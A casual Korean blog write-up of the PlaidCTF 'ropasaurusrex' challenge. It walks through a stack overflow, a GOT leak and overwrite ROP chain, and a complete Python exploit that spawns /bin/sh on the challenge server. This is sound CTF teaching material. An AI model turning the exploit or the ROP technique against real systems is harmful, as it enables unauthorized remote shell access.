[PlaidCTF] ropasaurusrex

By conchi | January 20, 2017

ropasaurusrex again



shadow stack의 등장으로 R.I.P 당한(…) rop 라지만, 아직까지 고전적인(?) 포너블 문제에서는 여러 메모리 보호기법을 우회하여 flag를 읽거나 쉘을 띄우는데 사용하곤 하지요.

brokenwindow에 고통받고 있던 물꼬기 선원에게 ‘기분전환도 할 겸 다른거 풀어볼까?’ 라고 했더니 이 문제를 풀겠다고 하더군요….. 선원들이 rop를 해야하는 시점이 오면 늘 1순위로 추천하는 CTF 문제입니다!

사실 passket 형님께서는 ‘rop는 예전부터 있어왔는데 rop라고 이름을 붙이고 있는 것 뿐이란다 사실 별다른거 없음’ 하곤 하셨죠….하지만 항상 풀고나야 깨달음을 얻는 선원들 ㅇ>-<

아무튼, 물꼬기 선원은 이 문제를 조지고 다시 자신감을 얻어 brokenwindow를 조졌습니다!!!

….아참, 이 블로그에 제일 처음 올라온 CTF 롸업도 요 문제였네요! 전혀 다른 스타일의 롸업이니 한번 ㄱㄱ!!


PlaidCTF - ropasaurusrex by salen




물고기의 야매 ropasaurusrex

부제 : 이것도 못풀면 갑천가야하는 물고기의 야매 ropasaurusrex


지난번 brokenwindow 풀다가 broken물고기 되버린 물고기닝겐이라는…
나의 25살 9월을 바쳤던 brokenwindow를 허무하게 보내버리고
나는 아무런 생각도 들지 않았다는…

하루정도는… 혼자만의 시간을 가져도 되지 않을까.. 라고 생각했지만 나의 바램과는 달리 ㅎㅎ…
이제 한몰가고 있는 ROP를 조지라는 명이 떨어졌다.
ㅎㅎ…


그래서 냅다 “그럼 지난번에 풀다가 던진 ropasaurusrex를 풀겠습니다!” 라고 말했다.
나란 여자.. 이제는 무섭다 ㅠㅠ…
이번에 또 망하면 어쩌지
손대는 족족 망하는 망함의 아이콘이 되는건 아닐까…
는 뻥 망하면 어때 난 많이 배웠으니 그걸로 만족해!!!!
………………… ………………………………. 아냐 이번엔 성공시킬꺼야
성공적인 익스를 위하여!
피쓰!




1. 문제파악

분명 예전에 풀다가 던진 기억이 있으니 어딘가에 나의 흔적이 있겠지 그런데 어디다가 저장해놨는지를 찾기가 넘나 힘든것 왜냐하면 내 바탕화면이 개 더럽기 때문이다. (바탕화면에서 세로로 10줄정도 잡다한 아이콘들이 깔려있다)

ㅎㅎㅋ 어디서 찾아야하징?
어디갔더라…
는 결국 찾기로 검색해서 찾음 ㅜㅜ…



ㅎㅎ.. 마지막으로 5월 20일까지 보다가 던졌나보군 ㅋㅋㅋㅋ
입사 1개월차, 지금보다 더 노답일 시절인가… 훗훗
훗훗.. 가소롭군..



  • 준비물 : ropasaurusrex바이너리, checksec.sh
  • 환경 : Ubuntu14.04_64bit


ㅇ_ㅇ.. 윈도우 바이너리에 걸린 보호기법을 보기위해 mona.py를 썼다면 리눅스에서는 checksec.sh를 사용한다.



그러면 이렇게 바이너리에 걸려있는 보호기법을 볼 수 있는데 NX가 걸려있는걸 확인할 수 있다. ㄷㄷ..



뭐하는놈인가 해서 실행해봤더니!!! 뭔갈 입력받게 해주길래 ‘conchijjang’라고 쳤더니!!! 나더러 이겼댄다. ㅎㅎ 기분이 좋아지고 있당(행복+3)

근데 님들 그거아셈? 이렇게 다짜고짜 인풋을 받는 부분이 나오면 난 하염없이 인풋을 때려박아 보곤 함… 나 문제 풀때 이렇게품 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ ‘ㅅ’..a



때려박는 랩이라는 노래 들어봤냐능?
나는 생긴거랑 다르게 랩 좋아해서 들어봤는데 ‘ㅅ’ㅋㅋ
무튼 이게 중요한게 아니라 노레 제목 마냥 데이터를 때려박으면



이렇게 수줍게 Segmentation fault뜨고core dumped`를 만날 수 있음. 그럼 이제 끝난거임 깔깔 !
bof나서 뭔가 프로그램이 잘못되버린거임
깔깔!!!


[contip]

데이터 때려박았는데 왜 core dump가 안생기져 ?
하는사람들은 보셈
ulimit -c unlimited 이거 커멘드에 쳐주면됩니다.


그리고 나서 다시 데이터 때려박으면 core파일이 수줍게 생김
아 그렇다고해서 내가 지금 core파일을 볼건 아님
아니;;;; 화를 내진 마시고 필요할수도 있으니 챙겨두시라구여 ‘ㅅ’a…




2. 분석


되게 간단하다.
그냥 sub_80483F4를 실행하고, WIN 이라는 문자열을 출력하고 끝나는 그런 프로그램이다. 그럼 뭔가 아까 문제가 생긴건 sub_80483F4안에 있으려나 들어가보자.



이렇게 생겼다.
그럼 지금 이말은 buf크기는 136인데
read는 최대 256개까지 읽을 수 있다 이거양?
그러면 buf크기인 136보다 4바이트를 더 넣고 내마음대로 아무 주소나 넣으면
ret도 덮힌다 이거양?
ㄱㄷ 해보고옴



a를 140개 넣고, 뒤에는 B를 4개 넣어줬습니다.
아 buf크기가 136인데 왜 4를 더넣어서 140개를 넣어주냐고 물어본다면… ‘ㅅ’..



현재 버퍼의 모양이 이렇게 생겼기 때문이에여 sfp까지 덮어줘야 리턴주소(ret)가 덮히기 때문에 140개를 a로, 덮히는 리턴주소를 확인하기 위해 다른 값인 B를 넣어줬습니다.

그리고 아까 만들어진 core파일있죠? 그걸 써먹어볼꺼에요 자자 저렇게 하고나면 아마 core파일이 만들어질꺼에요. (혹시 모르니 한번 core파일 지우고, 다시 해보셈)



그 문제적 코어파일을 확인해보면 ret가 개똥이라 에러가 났다며 알려줍니다.

하지만 난 널 믿을수 없어!

EIP를 직접 확인해주면 “B”의 아스키 코드값인 42424242로 EIP가 변경되었음을 확인할 수 있어요.
오오오오오 다끝난거 같당.


[와타시의 엄청난 시나리오]

  1. 리턴되는 주소를 내맘대로 바꿀 수 있다.
  2. 쉘코드가 있는 주소로 점프 or system함수가 있는 주소로 점프한다.
    2-1. system함수를쓰는경우, 안에 들어가는 “/bin/sh”를 쓸 공간을 마련해준다
  3. 쉘을딴다
  4. 개이득 잔치


…는 실제 서버환경은 ASLR이 걸려있다고 한다 ! 그리고 자세히보면 알겠지만 이 프로그램에서 쓰는 함수는 read와 write밖에 없다. 응? 수고링! … … … …



콘무룩…
그러면 지금부터
system() 함수를 사용할 방법과, 쉘을 따기 위한 “/bin/sh”데이터를 넣을 어딘가를 찾아보도록 하자.




3. ROP?

BOF에 성공해 리턴 주소까지 바꿔지는게 확인했다.
근데 중요한 사실을 마지막에 발견해버림…
우리의 프로그램은 system함수를 쓰고있지 않음 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

아.. 그럼 system은 어디서 구해오냐…

지금부터 콘치는 read를 system으로 바꾸는 마법을 부려볼까 한다.
리눅스에서는 함수를 불러올때 plt와 got라는 개념을 사용하는데
이에 대한 내용은 여기서 확인하도록 하자.

결국 read라는 함수를 사용하고자 하면

read@plt -> read@got -> read@plt -> read !! 

이런식으로 돌아간다는건데 우리는 system함수를 써야하므로

read@plt -> system -> read@plt -> read!!

라 읽고 system이 되버리는 마법을 부려야 하는 셈이다.




공격 시나리오

  • read(0, “/bin/sh”를 저장할공간의 주소, “/bin/sh”의 길이)
  • write(1, read@got, read@got의 길이(4))
  • read(0, read@got, read@got의 길이(4))
  • read(AAAA, “/bin/sh”를 저장한 공간의 주소)


자 이제 저 시나리오를 그럴싸하게 이해해보자.
우리가 쓸 수 있는건 readwrite밖에 없었다.
(왜냐하면 프로그램에서 저 두개밖에 안쓰거든)

그런데 얘들을 내가 원할때 어떻게 사용하지?? ‘ㅅ’..a
그냥 단지 이 프로그램에서 사용된다는 이유만으로 저 둘 함수를 내맘대로 할 수 있을까..?

이래서 가젯을 써준다!!.

저안에 들어있는 인자들갯수만큼 pop pop pop해주면 ret만 남는데 얘가 다음 함수로 뛰게 해준다.

rop란 조각조각난 함수들을 하나로 쭉 이어 붙여 하나의 프로그램을 만들어 우리가 원하는대로 하게 만드는 방법이란 사실을 잊지 않고 있었다면!

read와 write가 어디에서 소환되던 말던 ret를 서로의 plt로 맞춰주면 언제든 사용 가능잼!

그래서 이번 문제를 해결하기 위해선 인자의 갯수에 맞는 pop과 ret가 붙어있는 가젯을 찾아다가 쓰는게 핵심! (무조건 pop pop pop ret 가젯만 필요하지는 않다. 레지스터에 값을 셋팅할 경우에는 다른형태의 가젯이 필요하기도 하다.)




[준비물] pop pop pop ret가젯

read의 경우는 아래와 같이 페이로드를 작성해야할듯.

read@plt -> pop pop pop ret 가젯 주소 -> 0(fd) -> "/bin/sh"를 저장할 공간 주소 -> "/bin/sh"의 문자열 길이  


자 이런식으로 write도 만들어주자.

write@plt -> pop pop pop ret 가젯 주소 -> 1(fd) ->read@got -> 4


write는 fd가 1이다. 따라서 read@got의 주소가 출력될것이다.

요 주소를 대신해 system함수의 주소를 넣어야 하기 때문에 이는 필요한 부분.
이 부분을 릭해서 system함수를 넣어보자.


[여기서 잠깐] 사용하지도 않는 system의 주소는 어떻게 구해야 하나

  • 사용하지는 않지만 우리는 system이 libc의 어디에 저장되어있는지 정도는 확인이 가능하다.
    따라서 이렇게 구해진 system의 주소와 read의 주소를 더하거나 빼면 둘의 거리가 가늠이 되는데 이를 이용하면 된다.


위의 방법으로 뽑아낸 두 함수간의 거리는 read@got가 출력되면 이와 연산하여 system함수의 주소를 알아내게 될 것이다.

system함수의 주소를 알아냈으면 이걸 이용해서 다시 read함수를 호출해서 read@got를 system함수의 주소로 덮어준다.


read@plt -> pop pop pop ret 가젯주소 -> 0(fd) -> read@got -> 4


이렇게하면 내가 넣어주는 주소가 이제 read@got에 들어가게 되는데 이때 write함수로 릭 해온 system함수의 주소를 넣어주면 된다.


이부분이 끝나면 read는 system함수의 주소를 받아와서 실행시킨다.
그러므로 read@plt -> AAAA -> “/bin/sh”가 저장되어있는 주소 를 넣어주면 read가 아닌 사실은 system(AAAA, “/bin/sh”) 가 실행되게 될 것이다.

이 시나리오를 실행시키려면 준비물이 필요하겠다. 우리가 알아야할것들은 다음과 같다.


준비물

  1. read의 plt주소
  2. read의 got 주소
  3. write의 plt 주소
  4. pop pop pop ret의 가젯 주소
  5. ”/bin/sh”를 저장할만한 영역의 주소
  6. read와 system함수간의 거리




[각각의 주소들을 찾기위한 준비물]

  • gdb
  • rp
  • objdump


read의 plt, got와 write의 plt주소 구하기(with. gdb, objdump)



objdump를 이용해서 read와 write의 plt를 구한다.



구한 주소들을 들고 gdb로 와서 확인해보면 이렇게 got를 구할 수 있다.
우리가 필요한건 read의 got이니 어디다가 적어주자.


  1. read의 plt주소 == 0x0804832c
  2. read의 got 주소 == 0x0804961c
  3. write의 plt 주소 == 0x0804830c
  4. pop pop pop ret의 가젯 주소
  5. ”/bin/sh”를 저장할만한 영역의 주소
  6. read와 system함수간의 거리




rp라는 툴을 이용해서 가젯을 찾는다.
우리가 필요한건 pop pop pop ret체인이므로 알맞는 녀석으로 찾아준다. 뽜인!


  1. read의 plt주소 == 0x0804832c
  2. read의 got 주소 == 0x0804961c
  3. write의 plt 주소 == 0x0804830c
  4. pop pop pop ret의 가젯 주소 == 0x080484b6
  5. ”/bin/sh”를 저장할만한 영역의 주소
  6. read와 system함수간의 거리


음.. “/bin/sh”를 저장할만한 영역도… objdump를 이용해서 찾아주자!


objdump -x ./ropasaurusrex


해주면 뭔가 괴상한 메모리 맵이 쭈우우욱 나오는데 아래쪽에 보면



뭔가 쓸만한 영역이 나온다. 요 영역의 주소를 적어두자.


  1. read의 plt주소 == 0x0804832c
  2. read의 got 주소 == 0x0804961c
  3. write의 plt 주소 == 0x0804830c
  4. pop pop pop ret의 가젯 주소 == 0x080484b6
  5. ”/bin/sh”를 저장할만한 영역의 주소 == 0x08049530
  6. read와 system함수간의 거리


아 넘나 힘든것.. ‘0’… 오버워치 브론즈에서 실버 가는거보다 더 힘든듯.

하.. 이제 read와 system의 함수간의 거리를 구해줘서
ASLR이 아무리 주소를 바꾼다 하더라도 쌩까기 위해 오프셋으로 구해버리자.



아까 처음에 구해둔 코어덤프 파일들을 이용해 system함수와 read함수의 주소를 구하고, 요 둘의 거리를 구해준다. read함수의 주소에서 system함수의 주소를 빼주면 되겠군 ‘ㅅ’


  1. read의 plt주소 == 0x0804832c
  2. read의 got 주소 == 0x0804961c
  3. write의 plt 주소 == 0x0804830c
  4. pop pop pop ret의 가젯 주소 == 0x080484b6
  5. ”/bin/sh”를 저장할만한 영역의 주소 == 0x08049530
  6. read와 system함수간의 거리 == 0x9AC50


ㅎ_ㅎ 다구해졌다. 익스로 짜서 날려보자.





파이썬, 익스, 성공적


ex.py


import struct
from socket import *
from time import *


host = '서버의 ip주소'
port = 내가 잡아준 포트번호

s = socket( AF_INET, SOCK_STREAM, 0)
s.connect( ( host, port ) )


p = lambda x:struct.pack("<L",x)
up = lambda x:struct.unpack("<L",x)[0] 
# 소켓통신할때 엔디언을 바꿔주는 부분.  
# 내가 적어둔 주소들은 모두 빅엔디언이지만, 서버로 보낼때는 리틀엔디언으로 pack해줘야함. 
# 서버로부터 받은 리틀엔디언으로 된 데이터는 빅엔디언으로 바꾸기 위해 unpack해서 리틀엔디언으로. 


dynamic =  0x08049530
write_PLT = 0x0804830c
read_PLT = 0x0804832c
read_GOT = 0x0804961c
pppr_gadget = 0x080484b6
read_system_off = 0x9AC50
bin_sh = "/bin/sh"
lenbin_sh = len(bin_sh)
# 아까 다 구한것들.

# ret부터 조지기 위해 그전까지 A로 채운다. 
pay = "A"*140

# read 함수를 사용해서 dynamic영역에 뭔가를 입력받을 준비를 하는 부분. 
# input : "/bin/sh"
pay += p(read_PLT)
pay += p(pppr_gadget)
pay += p(0)
pay += p(dynamic)
pay += p(lenbin_sh)

# write 함수를 사용해서 현재 주소의 read@got를 릭하는 부분.  
# output : read@got
pay += p(write_PLT)
pay += p(pppr_gadget)
pay += p(1)
pay += p(read_GOT)
pay += p(4)

# read함수를 이용해서 아까 릭된 read@got와 read - system한 거리를 연산하여 넣음. 
# input : real read@got - offset(read-system한거)
pay += p(read_PLT)
pay += p(pppr_gadget)
pay += p(0)
pay += p(read_GOT)
pay += p(4)

# read가 system함수가 되어버린상황
# system함수의 첫번째 인자는 히든인자. 4바이트 채워준다.  
# system함수의 두번째 인자는 "/bin/sh"가 저장된곳의 주소를 넣어준다.  
pay += p(read_PLT)
pay += "AAAA"
pay += p(dynamic)


s.send(pay)
s.send(bin_sh)
sleep(1)
#print up(s.recv(4))
read = up(s.recv(4))
print hex(read)

system = read - read_system_off
print hex(system)


s.send(p(system))
s.send("id\n")
sleep(1)
print s.recv(1024)


꺄륵!
ㅠㅠㅠ내가 풀었어 ㅠㅠㅠ풀었다규 ㅠㅠㅠㅠ 엉엉 ㅠㅠ

comments powered by Disqus